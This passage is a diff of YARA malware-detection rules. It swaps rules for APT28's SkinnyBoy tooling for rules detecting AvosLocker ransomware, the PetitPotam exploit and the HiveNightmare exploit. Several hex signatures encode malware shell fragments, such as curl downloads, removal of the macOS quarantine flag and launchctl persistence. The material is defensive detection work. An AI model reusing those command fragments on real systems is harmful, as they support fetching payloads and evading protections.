-		$seq3 = { 48 8d 85 [2] fd ff be 00 10 00 00 48 89 c7 e8 [2] ff ff b9 [2] 40 00 48 8b 95 [2] fd ff 48 8d 85 [2] fd ff 48 89 ce 48 89 c7 b8 00 00 00 00 e8 [2] ff ff 48 8d 85 [2] fd ff 48 89 c7 e8 [2] ff ff 89 85 30 ff ff ff 8b 85 30 ff ff ff 48 63 d8 8b 85 30 ff ff ff 48 63 c8 48 8d 95 [2] fd ff 48 8d 85 [2] fe ff 49 89 d8 be [2] 40 00 48 89 c7 e8 [2] ff ff 89 85 2c ff ff ff 8b 85 2c ff ff ff 48 63 d0 48 8d 9d [2] fe ff 8b 85 ?? ff ff ff b9 00 00 00 00 48 89 de 89 c7 e8 [2] ff ff 48 83 f8 ff 75 21 8b 85 ?? ff ff ff 89 c7 e8 [2] ff ff bf 0a 00 00 00 e8 [2] ff ff b8 00 00 00 }
-		$seq4 = { c7 45 a8 01 00 00 00 c7 45 ac 01 00 00 00 c7 05 [2] 20 00 00 00 00 00 48 8d 85 [2] fd ff be 00 10 00 00 48 89 c7 e8 [2] ff ff b9 [2] 40 00 48 8d 85 [2] fd ff ba ?? 00 00 00 48 89 ce 48 89 c7 e8 [2] ff ff 48 8d 85 [2] fd ff 48 89 c7 e8 [2] ff ff 48 89 c2 8b 85 ?? ce fd ff 48 8d 8d [2] fd ff 48 89 ce 89 c7 e8 [2] ff ff 48 8d 85 [2] fd ff be 00 10 00 00 48 89 c7 e8 [2] ff ff 8b 85 ?? ce fd ff 48 8d 8d [2] fd ff ba ff 0f 00 00 48 89 ce 89 c7 e8 [2] ff ff 89 85 40 ff ff ff 83 bd 40 ff ff ff ff 75 0a c7 85 40 ff ff ff 00 00 00 00 48 8d 85 [2] fd ff be [2] 40 00 48 89 c7 e8 [2] ff ff 48 85 c0 0f 84 d0 00 00 00 48 8d 85 [2] fd ff be 00 10 00 00 48 89 c7 e8 [2] ff ff b9 [2] 40 00 48 8d 85 [2] fd ff ba 02 00 00 00 48 89 ce 48 89 c7 e8 [2] ff ff e8 [2] ff ff 89 c7 e8 [2] ff ff 48 89 45 e8 be 00 02 00 00 bf [2] 60 00 e8 [2] ff ff 48 8b 45 e8 48 8b 00 48 89 c6 bf [2] 60 00 e8 [2] ff ff be 00 02 00 00 bf [2] 60 00 e8 [2] ff ff be 00 02 00 00 bf [2] 60 00 e8 [2] ff ff bb [2] 40 00 48 8d 95 [2] fd ff 48 8d 85 [2] fd ff 41 b8 [2] 60 00 48 89 d1 ba [2] 60 00 48 89 de 48 89 c7 b8 00 00 00 00 e8 [2] ff ff 48 8d 85 [2] fd ff 48 89 c7 e8 [2] ff ff 89 85 30 ff ff ff c7 45 ac 00 00 00 }
-		$seq5 = { 55 48 89 e5 53 89 fb 89 f0 48 89 55 d8 89 4d d4 88 5d e4 88 45 e0 0f b6 45 e4 88 45 f2 0f b6 45 e0 88 45 f3 c7 45 f4 00 00 00 00 c7 45 f4 00 00 00 00 eb 29 8b 45 f4 48 98 48 03 45 d8 8b 55 f4 48 63 d2 48 03 55 d8 0f b6 0a 0f b6 55 f2 31 ca 88 10 0f b6 45 f3 00 45 f2 83 45 f4 01 8b 45 f4 3b 45 d4 7c cf b8 00 00 00 00 5b }
-		$seq6 = { 55 48 89 e5 53 48 81 ec 68 0d 00 00 48 89 bd d8 f2 ff ff c7 45 90 31 32 37 2e c7 45 94 30 2e 30 2e 48 c7 45 98 31 00 00 00 c7 45 a0 00 00 00 00 c7 85 70 ff ff ff 30 30 2d 30 c7 85 74 ff ff ff 30 2d 30 30 c7 85 78 ff ff ff 2d 30 30 2d c7 85 7c ff ff ff 30 30 2d 30 c7 45 80 30 00 00 00 48 c7 45 a8 [2] 40 00 }
+		$s1 = { 24 28 65 76 61 6c 20 65 63 68 6f 20 7e 24 28 65 63 68 6f 20 24 55 53 45 52 29 29 }
+		$s2 = { 69 66 20 5b 20 21 20 2d 66 20 22 24 [5-15] 22 20 5d 3b 20 74 68 65 6e }
+		$s3 = { 63 75 72 6c 20 2d 2d 72 65 74 72 79 20 [2-3] 2d 66 20 22 }
+		$s4 = { 78 61 74 74 72 20 2d 72 20 2d 64 20 63 6f 6d 2e 61 70 70 6c 65 2e 71 75 61 72 61 6e 74 69 6e 65 }
+		$s5 = { 6c 61 75 6e 63 68 63 74 6c 20 6c 6f 61 64 20 2d 77 }
+		$s6 = { 63 68 6f 77 6e 20 2d 52 20 24 55 53 45 52 }
+		$s7 = { 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 5c 22 31 2e 30 5c 22 20 65 6e 63 6f 64 69 6e 67 3d 5c 22 55 54 46 2d 38 5c 22 3f 3e 0a 09 3c 21 44 4f 43 54 59 50 45 20 70 6c 69 73 74 20 50 55 42 4c 49 43 20 5c 22 2d 2f 2f 41 70 70 6c 65 2f 2f 44 54 44 20 50 4c 49 53 54 20 31 2e 30 2f 2f 45 4e 5c 22 20 5c 22 68 74 74 70 3a 2f 2f 77 77 77 2e 61 70 70 6c 65 2e 63 6f 6d 2f 44 54 44 73 2f 50 72 6f 70 65 72 74 79 4c 69 73 74 2d 31 2e 30 2e 64 74 64 5c 22 3e 0a 09 3c 70 6c 69 73 74 20 76 65 72 73 69 6f 6e 3d 5c 22 31 2e 30 5c 22 3e }
 
 	condition:
-		uint32(0)==0x464c457f and filesize >25KB and all of ($seq*)
+		filesize >2KB and 6 of ($s*)
 }
-rule ARKBIRD_SOLG_MAL_Skinnyboy_Dropper_Jun_2021_1 : FILE
+rule ARKBIRD_SOLG_RAN_Avoslocker_July_2021_1 : FILE
 {
 	meta:
-		description = "Detect SkinnyBoy Dropper"
+		description = "Detect AvosLocker ransomware"
 		author = "Arkbird_SOLG"
-		id = "1ea4cfe7-d44d-5cdb-8436-cb2b09dd2e56"
-		date = "2021-05-01"
-		modified = "2021-06-06"
-		reference = "https://cluster25.io/wp-content/uploads/2021/05/2021-05_FancyBear.pdf"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-06-06/APT28/MAL_SkinnyBoy_Dropper_Jun_2021_1.yara#L1-L19"
+		id = "3fbc707f-9802-54bc-933b-bc4c4953b1d0"
+		date = "2021-07-23"
+		modified = "2021-07-24"
+		reference = "https://blog.malwarebytes.com/threat-analysis/2021/07/avoslocker-enters-the-ransomware-scene-asks-for-partners/"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/20.21-07-23/AvosLocker/RAN_AvosLocker_July_2021_1.yara#L1-L23"
 		license_url = "N/A"
-		logic_hash = "805bc5bb5833a75d68df2a6ce828d70b2257809a3699fdca5e621aae6bdc5070"
+		logic_hash = "e2291f574b5ab68e901a76b6511e0ee4c1eee51d5e3eced62bf68ceedb061958"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE"
-		hash1 = "12331809c3e03d84498f428a37a28cf6cbb1dafe98c36463593ad12898c588c9"
-		tlp = "White"
-		adversary = "APT28"
+		hash1 = "43b7a60c0ef8b4af001f45a0c57410b7374b1d75a6811e0dfc86e4d60f503856"
+		hash2 = "fb544e1f74ce02937c3a3657be8d125d5953996115f65697b7d39e237020706f"
+		tlp = "white"
+		adversary = "-"
 
 	strings:
-		$s1 = { 55 8b ec b8 48 12 00 00 e8 a3 52 00 00 a1 00 d0 40 00 33 c5 89 45 fc 56 57 68 08 02 00 00 8d 85 cc ed ff ff 50 51 ff 15 2c 80 40 00 6a 00 68 80 00 00 00 6a 03 6a 00 6a 01 68 00 00 00 80 8d 85 cc ed ff ff 50 c7 85 b8 ed ff ff 00 00 00 00 ff 15 18 80 40 00 8b f0 ff 15 1c 80 40 00 8b f8 83 fe ff 74 12 6a 00 56 ff 15 58 80 40 00 56 8b f8 ff 15 20 80 40 00 8d 85 c8 ed ff ff 50 8d 95 b8 ed ff ff 8d 8d cc ed ff ff 89 bd c8 ed ff ff e8 bc fd ff ff 8b bd b8 ed ff ff b8 4d 5a 00 00 83 c4 04 66 39 07 74 1b 68 c1 00 00 00 ff 15 34 80 40 00 5f 5e 8b 4d fc 33 cd e8 fe 08 00 00 8b e5 }
-		$s2 = { 8b 47 3c 81 3c 07 50 45 00 00 75 d9 8b 47 1c 8b b5 c8 ed ff ff 8b 4f 20 2b f0 85 c9 74 04 8b f1 2b f0 53 56 6a 08 ff 15 0c 80 40 00 50 ff 15 08 80 40 00 8b 4f 1c 56 03 cf 8b d8 51 53 89 9d c4 ed ff ff e8 96 5d 00 00 68 08 02 00 00 8d 85 f4 f9 ff ff 6a 00 50 e8 33 25 00 00 83 c4 18 8d 85 f4 f9 ff ff 50 6a 00 6a 00 68 1c 80 00 00 6a 00 ff 15 30 81 40 00 b8 18 00 00 00 68 ee 00 00 00 66 89 85 0c fc ff ff 8d 85 0e fc ff ff 6a 00 50 c7 85 fc fb ff ff 00 00 3f 00 c7 85 00 fc ff ff 47 00 5b 00 c7 85 04 fc ff ff 09 00 19 00 c7 85 08 fc ff ff 08 00 0d 00 e8 d1 24 00 00 f3 0f 7e 05 c4 bd 40 00 a1 d4 bd 40 00 68 ec 00 00 00 89 85 0c ff ff ff 66 0f d6 85 fc fe ff ff f3 0f 7e 05 cc bd 40 00 8d 85 10 ff ff ff 6a 00 50 66 0f d6 85 04 ff ff ff e8 93 24 00 00 83 c4 18 33 }
-		$s3 = { 0f b7 8c 05 fc fe ff ff 66 31 8c 05 fc fb ff ff 0f b7 8c 05 fe fe ff ff 66 31 8c 05 fe fb ff ff 0f b7 8c 05 00 ff ff ff 66 31 8c 05 00 fc ff ff 0f b7 8c 05 02 ff ff ff 66 31 8c 05 02 fc ff ff 83 c0 08 3d 00 01 00 00 72 b6 8d 85 f4 f9 ff ff 50 ff 15 38 81 40 00 8d 85 fc fb ff ff 50 8d 85 f4 f9 ff ff 50 ff 15 40 80 40 00 6a 00 8d 85 f4 f9 ff ff 50 ff 15 28 80 40 00 68 d8 00 00 00 8d 85 24 fe ff ff 6a 00 50 c7 85 fc fd ff ff 1f 00 33 00 c7 85 00 fe ff ff 58 00 4e 00 c7 85 04 fe ff ff 5d 00 1b 00 c7 85 08 fe ff ff 59 00 27 00 c7 85 0c fe ff ff 70 00 2d 00 c7 85 10 fe ff ff 16 00 13 00 c7 85 14 fe ff ff 03 00 1c 00 c7 85 18 fe ff ff 0d 00 2a 00 c7 85 1c fe ff ff 07 00 51 00 c7 85 20 fe ff ff 08 00 13 00 e8 8f 23 00 00 f3 0f 7e 05 d8 bd 40 00 66 a1 00 be 40 00 66 0f d6 85 fc fe ff ff f3 0f 7e 05 e0 bd 40 00 66 0f d6 85 04 ff ff ff f3 0f 7e 05 e8 bd 40 00 66 0f d6 85 0c ff ff ff f3 0f 7e 05 f0 bd 40 00 68 d6 00 00 00 66 89 85 24 ff ff ff 66 0f d6 85 14 ff ff ff f3 0f 7e 05 f8 bd 40 00 8d 85 26 ff ff ff 6a 00 50 66 0f d6 85 1c ff ff ff e8 1f 23 00 00 83 c4 18 33 }
-		$s4 = { 0f b7 84 0d fc fe ff ff 66 31 84 0d fc fc ff ff 0f b7 84 0d fe fe ff ff 66 31 84 0d fe fc ff ff 0f b7 84 0d 00 ff ff ff 66 31 84 0d 00 fd ff ff 0f b7 84 0d 02 ff ff ff 66 31 84 0d 02 fd ff ff 83 c1 08 81 f9 00 01 00 00 72 b5 8d 85 f4 f9 ff ff 50 ff 15 38 81 40 00 8d 85 fc fc ff ff 50 8d 85 f4 f9 ff ff 50 ff 15 40 80 40 00 6a 00 6a 00 8d 85 c0 ed ff ff 50 6a 00 6a 01 56 53 8b 1d 00 80 40 00 c7 85 c0 ed ff ff 00 00 00 00 ff d3 ff b5 c0 ed ff ff 6a 08 ff 15 0c 80 40 00 50 ff 15 08 80 40 00 6a 00 6a 00 8d 8d c0 ed ff ff 51 50 6a 01 56 ff b5 c4 ed ff ff 89 85 bc ed ff ff ff d3 8b 85 c0 ed ff ff 6a 00 68 80 00 00 00 6a 04 6a 00 6a 02 89 85 b8 ed ff ff 68 00 00 00 40 8d 85 f4 f9 ff ff 50 ff 15 18 80 40 00 8b f0 ff 15 1c 80 40 00 8b 1d 38 80 40 00 83 fe ff 74 55 3d b7 00 00 00 75 0b 6a 00 6a 00 6a 00 56 ff }
-		$s5 = { 55 8b ec 83 ec 0c a1 00 d0 40 00 33 c5 89 45 fc 53 8b 5d 08 56 57 6a 00 68 80 00 00 00 6a 03 6a 00 6a 01 68 00 00 00 80 51 89 55 f4 ff 15 18 80 40 00 8b f0 ff 15 1c 80 40 00 8b f8 83 fe ff 74 67 83 ff 02 74 62 6a 00 56 ff 15 58 80 40 00 89 03 85 c0 74 47 c7 45 f8 00 00 00 00 ff 15 0c 80 40 00 ff 33 6a 08 50 ff 15 08 80 40 00 8b 4d f4 6a 00 89 01 8d 4d f8 51 ff 33 50 56 ff 15 14 80 40 00 56 ff 15 20 80 40 00 8b c7 5f 5e 5b 8b 4d fc 33 cd e8 d4 0a 00 00 8b e5 }
-		$s6 = { 54 56 71 51 41 41 4d 41 41 41 41 45 41 41 41 41 2f 2f }
+		$s1 = { 64 72 69 76 65 20 25 73 20 74 6f 6f 6b 20 25 66 20 73 65 63 6f 6e 64 73 0a 00 00 00 25 63 3a 00 64 72 69 76 65 3a 20 25 73 }
+		$s2 = { 63 6c 69 65 6e 74 5f 72 73 61 5f 70 72 69 76 3a 20 25 73 0a }
+		$s3 = { 2d 2d 2d 2d 2d 42 45 47 49 4e 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 2d 2d 2d 2d 2d 45 4e 44 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d }
+		$s4 = { ff 35 b8 2c 46 00 88 9d 7c ef ff ff e8 3c 56 02 00 50 8d 85 71 ef ff ff 50 e8 c5 9e ff ff 83 c4 0c 8d 85 94 ef ff ff 50 53 53 68 14 01 00 00 ff 35 b8 2c 46 00 ff b5 90 ef ff ff ff 15 00 a0 44 00 85 c0 0f 85 cd 00 00 00 8b 35 48 a0 44 00 8d 85 98 fe ff ff 53 68 ff 00 00 00 50 68 00 04 00 00 ff d6 50 53 68 00 10 00 00 ff 15 44 a0 44 00 b1 3e c7 85 70 ef ff ff 3e 7b 6c 6c c7 85 74 ef ff ff 71 6c 04 1e 8b c3 c7 85 78 ef ff ff 1b 4d 34 00 30 8c 05 71 ef ff ff 40 83 f8 0a 73 08 8a 8d 70 ef ff ff eb eb 8d 85 98 fe ff ff 88 9d 7b ef ff ff 50 8d 85 71 ef ff ff 50 e8 23 9e ff ff 0f 28 05 00 8b 45 00 59 0f 11 85 48 ef ff ff 59 0f 28 05 40 8b 45 00 8b cb 0f 11 85 58 ef ff ff 66 c7 }
+		$s5 = { 38 9d a0 fd ff ff 74 0c ff b5 94 fd ff ff e8 a6 ca ff ff 59 8d 85 ac fd ff ff 50 56 ff 15 48 a1 44 00 85 c0 0f 85 4d ff ff ff 8b 85 a4 fd ff ff 8b 8d 84 fd ff ff 8b 10 8b 40 04 2b c2 c1 f8 02 3b }
+		$s6 = { 4d 61 70 3a 20 25 73 0a 00 00 00 00 65 00 6e 00 63 00 72 00 79 00 70 00 74 00 69 00 6e 00 67 00 20 00 25 00 6c 00 73 00 20 00 66 00 61 00 69 00 6c 00 65 00 64 }
+		$s7 = { 44 6f 6e 65 21 21 0a 00 25 66 20 73 65 63 6f 6e 64 73 0a }
+		$s8 = { 56 68 01 00 00 08 6a 01 52 ff 15 14 a0 44 00 85 c0 0f 84 97 00 00 00 8d 45 f8 50 53 53 6a 06 53 ff 36 8b 1d 20 a0 44 00 ff d3 85 c0 74 73 ff 75 f8 e8 3b a7 01 00 a3 b8 2c 46 00 59 85 c0 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize >40KB and 5 of ($s*)
+		uint16(0)==0x5A4D and filesize >50KB and 6 of ($s*)
 }
-rule ARKBIRD_SOLG_MAL_Skinnyboy_Launcher_Jun_2021_1 : FILE
+rule ARKBIRD_SOLG_Exp_Petitpotam_July_2021_1 : FILE
 {
 	meta:
-		description = "Detect the Launcher of SkinnyBoy"
+		description = "Detect PetitPotam exploit (local exploit version)"
 		author = "Arkbird_SOLG"
-		id = "4e69cba4-92ef-5ea5-95d8-b22ed77f515c"
-		date = "2021-06-05"
-		modified = "2021-06-06"
-		reference = "https://cluster25.io/wp-content/uploads/2021/05/2021-05_FancyBear.pdf"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-06-06/APT28/MAL_SkinnyBoy_Launcher_Jun_2021_1.yara#L1-L19"
+		id = "dd23c77d-9929-5130-aad8-2bcc0a7dcbaa"
+		date = "2021-07-23"
+		modified = "2021-07-24"
+		reference = "https://github.com/topotam/PetitPotam"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/20.21-07-23/PetitPotam/Exp_PetitPotam_July_2021_1.yara#L1-L24"
 		license_url = "N/A"
-		logic_hash = "4d5906832a1bc90552255ada1cc9e3c7cd3e14e4b0cb11b1bf2c11c57bca8ad8"
+		logic_hash = "a33a1dc2a3593063de2b65e01a770ff5c72ad360d88efdca588eacb8817fb91d"
 		score = 75
-		quality = 75
+		quality = 69
 		tags = "FILE"
-		hash1 = "2a652721243f29e82bdf57b565208c59937bbb6af4ab51e7b6ba7ed270ea6bce"
-		tlp = "White"
-		adversary = "APT28"
+		hash1 = "10cbadc2c82178d3b7bdf96ab39b9e8580ee92c2038728b74d314e506c7a9144"
+		tlp = "white"
+		adversary = "-"
 
 	strings:
-		$s1 = { 55 8b ec 83 e4 f8 81 ec bc 06 00 00 a1 00 e0 40 00 33 c4 89 84 24 b8 06 00 00 53 56 57 33 c0 68 06 02 00 00 50 66 89 84 24 b8 02 00 00 8d 84 24 ba 02 00 00 50 8b f1 e8 64 31 00 00 8b 1d 28 90 40 00 0f 57 c0 83 c4 0c 8d 84 24 9c 02 00 00 50 c7 84 24 a0 02 00 00 79 00 00 00 66 0f d6 84 24 a4 02 00 00 66 0f d6 84 24 ac 02 00 00 c7 84 24 78 02 00 00 57 00 00 00 66 0f d6 84 24 7c 02 00 00 66 0f d6 84 24 84 02 00 00 ff d3 8b d0 33 c9 89 15 38 fb 40 00 85 d2 74 1b 8d 9b 00 00 00 00 66 8b 84 4c 74 02 00 00 66 31 84 4c 9c 02 00 00 41 3b ca 72 eb a1 80 cd 40 00 89 84 24 88 02 00 00 0f b7 05 84 cd 40 00 66 89 84 24 8c 02 00 00 a1 88 cd 40 00 89 84 24 74 02 00 00 0f b7 05 8c cd 40 00 66 89 84 24 78 02 00 00 0f 57 c0 8d 84 24 88 02 00 00 50 66 0f d6 84 24 92 02 00 00 c7 84 24 9a 02 00 00 00 00 00 00 66 c7 84 24 9e 02 00 00 00 00 66 0f d6 84 24 7e 02 00 00 c7 84 24 86 02 00 00 00 00 00 00 66 c7 84 24 8a 02 00 00 00 00 ff d3 8b d0 33 c9 89 15 38 fb 40 00 }
-		$s2 = { 66 8b 84 4c 74 02 00 00 66 31 84 4c 88 02 00 00 41 3b ca 72 eb 6a 64 6a 08 ff 15 30 90 40 00 50 ff 15 34 90 40 00 8b 1d 3c 90 40 00 89 44 24 0c 56 8d 84 24 b4 02 00 00 50 ff d3 8b 3d 44 91 40 00 8d 84 24 b0 02 00 00 50 ff d7 68 90 cd 40 00 8d 84 24 b4 02 00 00 50 ff d3 8d 44 24 20 50 8d 84 24 b4 02 00 00 50 ff 15 40 90 40 00 8b f0 8d 84 24 b0 02 00 00 50 89 74 24 14 ff 15 40 91 40 00 8d 84 24 b0 02 00 00 50 ff d7 83 fe ff 0f 84 21 02 00 00 8b 35 2c 90 40 00 8d 9b 00 00 00 00 8d 84 24 9c 02 00 00 50 8d 44 24 50 50 ff d6 85 }
-		$s3 = { ff 15 20 90 40 00 8d 44 24 14 50 6a 00 6a 00 68 0c 80 00 00 ff 74 24 28 ff 15 04 90 40 00 ff 15 20 90 40 00 6a 00 56 8d 44 24 54 50 ff 74 24 20 ff 15 14 90 40 00 ff 15 20 90 40 00 6a 00 8d 44 24 20 50 ff 74 24 14 c7 44 24 28 64 00 00 00 6a 02 ff 74 24 24 ff 15 10 90 40 00 ff 74 24 14 ff 15 00 90 40 00 6a 00 ff 74 24 1c ff 15 0c 90 40 00 8b 74 24 1c 8b 4c 24 0c ba 90 ed 40 00 83 ee }
-		$s4 = { 0f b7 8c 05 f8 fd ff ff 66 31 8c 05 f8 fe ff ff 0f b7 8c 05 fa fd ff ff 66 31 8c 05 fa fe ff ff 0f b7 8c 05 fc fd ff ff 66 31 8c 05 fc fe ff ff 0f b7 8c 05 fe fd ff ff 66 31 8c 05 fe fe ff ff 83 c0 08 3d 00 01 00 00 72 b6 56 8d 85 f8 fe ff ff 50 8d 85 f0 fb ff ff 68 08 02 00 00 50 e8 ed 04 00 00 6a 44 8d 85 98 fb ff ff 6a 00 50 e8 ed 31 00 00 83 c4 1c 8d 85 e0 fb ff ff 50 8d 85 98 fb ff ff 50 6a 00 6a 00 68 00 00 00 08 6a 00 6a 00 6a 00 8d 85 f0 fb ff ff 50 6a 00 c7 85 98 fb ff ff 44 00 00 00 ff 15 38 90 40 00 8b 4d fc 33 cd 5e e8 b9 04 00 00 8b e5 }
-		$s5 = { 55 8b ec 81 ec 6c 04 00 00 a1 00 e0 40 00 33 c5 89 45 fc 56 33 c0 68 06 02 00 00 50 66 89 85 f0 fb ff ff 8d 85 f2 fb ff ff 50 8b f1 e8 8f 33 00 00 68 04 01 00 00 8d 85 f0 fb ff ff 6a 00 50 e8 7c 33 00 00 83 c4 18 56 ff 15 48 91 40 00 85 c0 0f 84 b6 01 00 00 b8 69 00 00 00 68 d2 00 00 00 66 89 85 24 ff ff ff 8d 85 26 ff ff ff 6a 00 50 c7 85 f8 fe ff ff 1f 00 16 00 c7 85 fc fe ff ff 0b 00 22 00 c7 85 00 ff ff ff 78 00 7c 00 c7 85 04 ff ff ff 00 00 55 00 c7 85 08 ff ff ff 5b 00 2e 00 c7 85 0c ff ff ff 3f 00 03 00 c7 85 10 ff ff ff 04 00 04 00 c7 85 14 ff ff ff 0d 00 15 00 c7 85 18 ff ff ff 47 00 44 00 c7 85 1c ff ff ff 47 00 14 00 c7 85 20 ff ff ff 09 00 68 00 e8 dd 32 00 00 f3 0f 7e 05 48 cd 40 00 66 0f d6 85 f8 fd ff ff f3 0f 7e 05 50 cd 40 00 66 0f d6 85 00 fe ff ff f3 0f 7e 05 58 cd 40 00 66 0f d6 85 08 fe ff ff f3 0f 7e 05 60 cd 40 00 66 0f d6 85 10 fe ff ff f3 0f 7e 05 68 cd 40 00 68 d0 00 00 00 66 0f d6 85 18 fe ff ff f3 0f 7e 05 70 cd 40 00 8d 85 28 fe ff ff 6a 00 50 66 0f d6 85 20 fe ff ff e8 6a 32 00 00 83 c4 18 33 }
-		$s6 = { 0f b7 8c 05 f8 fd ff ff 66 31 8c 05 f8 fe ff ff 0f b7 8c 05 fa fd ff ff 66 31 8c 05 fa fe ff ff 0f b7 8c 05 fc fd ff ff 66 31 8c 05 fc fe ff ff 0f b7 8c 05 fe fd ff ff 66 31 8c 05 fe fe ff ff 83 c0 08 3d 00 01 00 00 72 b6 56 8d 85 f8 fe ff ff 50 8d 85 f0 fb ff ff 68 08 02 00 00 50 e8 ed 04 00 00 6a 44 8d 85 98 fb ff ff 6a 00 50 e8 ed 31 00 00 83 c4 1c 8d 85 e0 fb ff ff 50 8d 85 98 fb ff ff 50 6a 00 6a 00 68 00 00 00 08 6a 00 6a 00 6a 00 8d 85 f0 fb ff ff 50 6a 00 c7 85 98 fb ff ff 44 00 00 00 ff 15 38 90 40 00 8b 4d fc 33 cd 5e e8 b9 04 00 00 8b e5 }
+		$s1 = "\\pipe\\lsarpc" fullword wide
+		$s2 = { 5c 00 5c 00 25 00 73 00 5c 00 [4-12] 5c 00 [4-12] 00 2e 00 65 00 78 00 65 }
+		$s3 = { 5c 00 5c 00 25 00 73 00 00 00 00 00 6e 00 63 00 61 00 63 00 6e 00 5f 00 6e 00 70 }
+		$s4 = { 23 46 69 6c 65 20 45 72 72 6f 72 23 28 25 64 29 20 3a }
+		$s5 = { 43 6c 69 65 6e 74 20 68 6f 6f 6b 20 61 6c 6c 6f 63 61 74 69 6f 6e 20 66 61 69 6c 75 72 65 20 61 74 20 66 69 6c 65 20 25 68 73 20 6c 69 6e 65 20 25 64 }
+		$s6 = { 50 e8 06 95 ff ff 83 c4 10 c7 85 00 ff ff ff 00 00 00 00 8b 85 00 ff ff ff 50 8d 8d 0c ff ff ff 51 8d 55 dc 52 8b 45 f4 50 e8 4e 7a ff ff 83 c4 10 89 45 e8 83 7d }
+		$s7 = "Attack success!!!\n" fullword wide
+		$s8 = { 8b 43 0c 56 83 e8 24 8d 73 20 50 56 8d 45 b4 50 8d 45 e8 50 e8 02 02 00 00 68 b8 52 4f 00 8d 45 b4 50 68 bc 52 4f 00 8d 45 e8 50 8b 43 0c 68 c0 52 4f 00 ff 75 10 83 e8 24 68 cc 52 4f 00 50 68 00 53 4f 00 56 68 0c 53 4f 00 68 20 53 4f 00 68 78 53 4f 00 8d 85 c0 fe ff ff 68 f4 00 00 00 50 e8 4e 91 ff ff 83 c4 4c 8d 85 c0 fe ff ff 50 6a 04 }
+		$s9 = { 25 73 25 73 25 70 25 73 25 7a 64 25 73 25 64 25 73 25 73 25 73 25 73 25 73 }
+		$s10 = { 25 00 6c 00 73 00 28 00 25 00 64 00 29 00 20 00 3a 00 20 00 25 00 6c 00 73 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize >40KB and 5 of ($s*)
+		uint16(0)==0x5A4D and filesize >50KB and 7 of ($s*)
 }
-rule ARKBIRD_SOLG_MAL_Skinnyboy_Implant_Jun_2021_1 : FILE
+rule ARKBIRD_SOLG_Exp_CVE_2021_36934_July_2021_1 : FILE
 {
 	meta:
-		description = "Detect SkinnyBoy Implant"
+		description = "Detect CVE_2021_36934 exploit (HiveNightmare)"
 		author = "Arkbird_SOLG"
-		id = "2c78e0f3-a0b3-56fb-b4d2-313c03f1331b"
-		date = "2021-06-05"
-		modified = "2021-06-06"
-		reference = "https://cluster25.io/wp-content/uploads/2021/05/2021-05_FancyBear.pdf"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-06-06/APT28/MAL_SkinnyBoy_Implant_Jun_2021_1.yara#L1-L19"
+		id = "3a0ed4f7-8a99-569f-a636-4cd64c2121bb"
+		date = "2021-07-23"
+		modified = "2021-07-23"
+		reference = "https://github.com/GossiTheDog/HiveNightmare"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/20.21-07-23/HiveNightmare/Exp_CVE_2021_36934_July_2021_1.yara#L1-L23"
 		license_url = "N/A"
-		logic_hash = "37d6b03adaad0a97e91a366d8e5ce47bc0eb77263849422129edf9df28d25bd8"
+		logic_hash = "2fd6cdf8a81f239473716d2c10a1754ebb2c60099eebd9d0cc1450ad3441075b"
 		score = 75
-		quality = 75
+		quality = 48
 		tags = "FILE"
-		hash1 = "ae0bc3358fef0ca2a103e694aa556f55a3fed4e98ba57d16f5ae7ad4ad583698"
-		tlp = "White"
-		adversary = "APT28"
+		hash1 = "0009d4950559b508353b951a314c5ac0aaae8161751017d3d4681dc805374eaa"
+		hash2 = "7baab69f86b50199456c9208624dd16aeb0d18d8a6f2010ee6501a183476f12f"
+		hash3 = "9035f88894a937892c63ac9a3c6c16301c7ecea7c11cf31d0fd24c39f17c8c2f"
+		tlp = "white"
+		adversary = "-"
 
 	strings:
-		$s1 = { 55 8b ec 81 ec 48 01 00 00 a1 00 00 01 10 33 c5 89 45 fc 53 56 57 6a 00 6a 00 6a 00 8b c2 6a 00 68 6c ef 00 10 89 85 d0 fe ff ff 89 8d cc fe ff ff 89 85 e4 fe ff ff c7 85 c0 fe ff ff 01 00 00 00 c7 85 d8 fe ff ff 00 00 00 00 c7 85 dc fe ff ff 00 00 00 00 ff 15 e4 b1 00 10 8b 1d a4 b0 00 10 8b f0 89 b5 d4 fe ff ff ff d3 8b 3d d4 b1 00 10 85 f6 74 26 6a 04 8d 85 ec fe ff ff 50 6a 06 56 c7 85 ec fe ff ff c0 27 09 00 ff d7 6a 04 8d 85 ec fe ff ff 50 6a 05 56 ff d7 ff d3 85 f6 74 22 6a 01 6a 00 6a 03 6a 00 6a 00 68 bb 01 00 00 ff b5 cc fe ff ff 56 ff 15 cc b1 00 10 89 85 d8 fe ff ff ff d3 8b 4d 08 8b 3d e8 b1 00 10 81 f9 00 00 a0 00 0f 83 a7 01 00 00 68 03 01 00 00 8d 85 f1 fe ff ff 6a 00 50 c6 85 f0 fe ff ff 00 e8 3c 33 00 00 83 c4 0c ba 01 00 00 00 6a 00 6a 01 8d 8d f0 fe ff ff e8 55 f7 ff ff 83 c4 08 8d 55 08 8d 8d e4 fe ff ff e8 94 f6 ff ff 8d bd f0 fe ff ff 8d 4f 01 8a 07 47 84 c0 75 f9 8b 75 08 2b f9 8d 04 37 50 6a 08 89 85 e0 fe ff ff ff 15 b4 b0 00 10 50 ff 15 ec b0 00 10 57 8d 8d f0 fe ff ff 51 50 89 85 d0 fe ff ff e8 62 6e 00 00 8b 85 d0 fe ff ff 83 c4 0c 03 c7 56 8b b5 e4 fe ff ff 56 50 e8 49 6e 00 00 83 c4 0c 56 6a 00 ff 15 b4 b0 00 10 50 a1 b8 b0 00 10 ff d0 57 8d 85 f0 fe ff ff 6a 00 50 e8 96 32 00 00 83 c4 0c 8d 8d 